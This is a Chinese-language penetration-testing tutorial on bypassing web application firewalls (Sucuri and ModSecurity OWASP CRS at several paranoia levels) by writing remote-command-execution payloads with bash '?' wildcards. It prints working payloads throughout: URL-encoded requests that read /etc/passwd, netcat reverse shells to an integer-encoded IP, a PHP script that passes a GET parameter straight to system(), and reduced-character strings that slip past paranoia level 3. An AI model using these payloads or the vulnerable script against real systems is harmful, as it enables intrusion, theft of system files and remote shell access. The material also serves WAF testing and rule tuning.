如何繞過 Web 應用程式防火牆（WAF）？
在 Web 應用程式中發現遠端命令執行漏洞並不罕見，「OWASP Top 10 2017」榜單中，把“注入”放在第一位，就可見一斑：
當攻擊者把作為命令或查詢的不可信資料傳送給直譯器時，會產生注入漏洞，如 SQL，NoSQL，OS 和 LDAP 注入。攻擊者的資料可能會誘使直譯器執行意外的命令或在沒有授權的情況下訪問資料。
所有現代 Web 應用防火牆都能攔截 RCE 嘗試，但是當它發生在 Linux 系統中時，我們已經有了方法來規避 WAF 規則集。
滲透測試中，很有用的字元是「萬用字元」。在開始做 WAPT 之前，我想告訴你一些你可能不知道的 bash 和萬用字元的用法。
特殊的萬用字元用法
Bash 標準萬用字元（也稱為萬用字元模式）被各種命令列實用程式用於處理多個檔案。並不是每個人都知道 bash 語法可以使用問號 ?、正斜槓 /、數字和字母來執行系統命令。你甚至可以列舉檔案並使用相同數量的字元獲取其內容。舉幾個栗子：可以使用以下語法來取代 ls 命令：
/???/?s
用這種語法，你可以基本做到你想做的任何事情。假設存在漏洞的目標位於WAF的後面，並且此 WAF 有一條規則，該規則可阻止包含 /etc/passwd 或 /bin/ls 在 GET 引數的值內或 POST 正文中的所有請求。
如果你試圖發出這樣的請求，/?cmd=cat+/etc/passwd 它將被目標 WAF 阻止，你的 IP 將被永久禁止，並被標記為 yet another f***in’ redteamer。但你有萬用字元這個祕密武器。
如果目標 WAF 不阻止查詢字串裡的 ? 和 /，你就可以很容易地讓你的請求（url 編碼）變成這樣：/?cmd=%2f???%2f??t%20%2f???%2fp??s??
上圖所示，有 3 個錯誤 ：/bin/cat *: Is a directory。發生這種情況是因為 /???/?t 可以被全域性程序解釋成 /bin/cat，也可以解釋成 /dev/net 或 /etc/apt 等。
問號萬用字元可以代表任何字元。因此，如果你知道一個檔名的一部分，那麼你可以使用這個萬用字元。例如，ls *.??? 將列出當前目錄中所有長度為 3 個字元的副檔名。因此，你將會看到具有諸如 .gif，.jpg，.txt 之類副檔名的檔案。
使用這個萬用字元，你可以用 netcat 執行一個反彈 shell。假設你需要在埠 1337（通常 nc -e /bin/bash 127.0.0.1 1337）執行一個 127.0.0.1 的反彈 shell ，你可以用下面的語法來完成： /???/n? -e /???/b??h 2130706433 1337
將 IP 地址127.0.0.1轉換為長整數格式（2130706433），可以避免在 HTTP 請求中使用 . 字元。
在 kali 中，需要使用 nc.traditional 而不是 nc，沒有 -e 引數，以便 /bin/bash 連線後執行。有效載荷變成這樣：
/???/?c.??????????? -e /???/b??h 2130706433 1337
使用萬用字元執行反彈 shell
在對我們剛才看到的兩個命令進行總結：
Default
|
1 2 3 4 5 6 7 |
標準：/bin/nc 127.0.0.1 1337 繞過：/???/n? 2130706433 1337 使用字元：/ ? n [0-9] 標準：/bin/cat /etc/passwd 繞過：/???/??t /???/??ss?? 使用字元：/ ? t s |
為什麼使用 ? 而不是 *？由於 * 廣泛用於評論語法，許多 WAF 為了避免 SQL 注入而過濾它，像 UNION+SELECT+1,2,3/*
使用 echo 來列舉檔案和目錄。該 echo 命令可以使用萬用字元列舉檔案系統上的檔案和目錄。例如 echo /*/*ss* :
這命令可以在 RCE 漏洞中使用，以獲取目標系統上的檔案和目錄，例如：
但為什麼使用萬用字元（特別是問號）可以繞過 WAF？
Sucuri WAF 繞過
測試 WAF 規則集的最佳方法是什麼？建立一個有漏洞的 PHP 指令碼，並嘗試所有可能的技術。在上圖的左上方的窗格中，是一個有漏洞的PHP指令碼。
Default
|
1 2 3 4 |
<?php echo 'ok: '; print_r($_GET['c']); system($_GET['c']); |
在左下方的窗格中，你可以看到對這個網站（test1.unicresit.it）進行遠端命令執行測試。正如你所看到的，Sucuri WAF 以 An attempted RFI/LFI was detected and blocked 理由阻止請求。
右窗格顯示了同樣的請求，但卻使用 ? 作為萬用字元，結果是 Sucuri WAF 沒有阻止這個請求，應用程式執行了放入 c 引數的命令。現在就可以讀取 /etc/passwd 檔案，甚至更多。
我可以讀取應用程式本身的 PHP 原始碼，可以使用 netcat（/???/?c）執行反彈 shell，或者我可以執行 curl 或 wget 來獲取網路伺服器的真實 IP，使我能夠通過直接連線目標來繞過 WAF。
ModSecurity OWASP CRS 3.0
以下文件很好地概述了每個級別在 REQUEST PROTOCOL ENFORCEMENT 規則上的工作原理。 PL1允許的查詢字串包含 1-255 範圍內的 ASCII 碼，從PL1到PL4，允許的 ASCII 碼越來越少。
Default
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# -=[ Targets and ASCII Ranges ]=- # # 920270: PL1 # REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES # ASCII: 1-255 # Example: Full ASCII range without null character # # 920271: PL2 # REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES # ASCII: 9,10,13,32-126,128-255 # Example: Full visible ASCII range, tab, newline # # 920272: PL3 # REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY # ASCII: 32-36,38-126 # Example: Visible lower ASCII range without percent symbol # # 920273: PL4 # ARGS, ARGS_NAMES and REQUEST_BODY # ASCII: 38,44-46,48-58,61,65-90,95,97-122 # Example: A-Z a-z 0-9 = - _ . , : & # # 920274: PL4 # REQUEST_HEADERS without User-Agent, Referer, Cookie # ASCII: 32,34,38,42-59,61,65-90,95,97-122 # Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE |
Paranoia Level 0 (PL0)
PL0 開啟的防護規則較少，我們的程式碼能夠正常執行。
Default
|
1 2 3 4 5 6 |
SecAction "id:999,\ phase:1,\ nolog,\ pass,\ t:none,\ setvar:tx.paranoia_level=0" |
Paranoia Level 1 and 2 (PL1, PL2)
PL1 和PL2 都會攔截原始的請求，但是如果使用 ? 作為萬用字元，該請求不會被WAF 攔截。
Default
|
1 2 3 4 5 6 |
SecAction "id:999,\ phase:1,\ nolog,\ pass,\ t:none,\ setvar:tx.paranoia_level=1" |
之所以發生這種情況，是因為 ? ，/ 和空格在規則 920271 和 920272 的可接受字元範圍內。此外，使用 ? 能夠避開系統檔案過濾規則，攔截對作業系統常用命令和檔案的訪問。
Paranoia Level 3 (PL3)
PL3可以阻止包含 ? 等字元超過 n 次的請求。實際上，我的請求被攔截為： Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters。
但是作為測試用的 Web 應用程式非常蹩腳，容易受到攻擊，所以我可以使用較少的 ?，並使用以下語法讀取 passwd 檔案：c=/?in/cat+/et?/passw?
正如你所看到的，只用 3 個 ?，我就可以避開 PL3 級別的防護，讀取目標系統中的 passwd 檔案。
Paranoia Level 4 (PL4)
PL4 級別的防護基本無法繞過，a-z A-Z 0–9 之外的字元都被遮蔽了。當你需要執行一個命令來讀取檔案時，有 90％ 的概率需要一個空格字元或 /。
結論
使用一些不常用的bash命令的技巧，還是可以繞過WAF的防護的。